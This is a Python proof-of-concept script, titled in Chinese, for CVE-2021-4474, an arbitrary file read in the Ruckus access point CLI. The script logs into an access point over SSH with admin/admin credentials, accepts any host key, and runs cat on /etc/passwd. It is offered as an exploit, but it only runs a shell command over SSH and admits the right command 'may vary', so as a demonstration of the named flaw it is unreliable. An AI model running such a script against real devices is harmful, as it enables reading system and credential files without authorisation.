CVE-2021-4474 Ruckus AP CLI任意文件读取漏洞

#!/usr/bin/env python3 # PoC for CVE-2021-4474: Ruckus AP CLI Arbitrary File Read # This script demonstrates reading a sensitive file via the CLI. # Note: Exploitation requires Administrative Privileges (PR:H). import paramiko import sys def exploit(target_ip, username, password, file_path): try: print(f"[*] Connecting to {target_ip}...") # Establish SSH connection to the Ruckus AP CLI client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(target_ip, username=username, password=password, timeout=10) print(f"[*] Attempting to read {file_path}...") # Execute command to read arbitrary file # The specific command may vary depending on the specific CLI shell implementation. # Typically, if it's a Linux-based shell, 'cat' is used. stdin, stdout, stderr = client.exec_command(f"cat {file_path}") output = stdout.read().decode().strip() err = stderr.read().decode().strip() if output: print("[+] Success! File content:") print("-" * 20) print(output) print("-" * 20) else: print(f"[-] Failed to read file. Error: {err}") client.close() except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage # Replace with actual target IP and credentials TARGET = "192.168.1.1" USER = "admin" PASS = "admin" FILE = "/etc/passwd" exploit(TARGET, USER, PASS, FILE)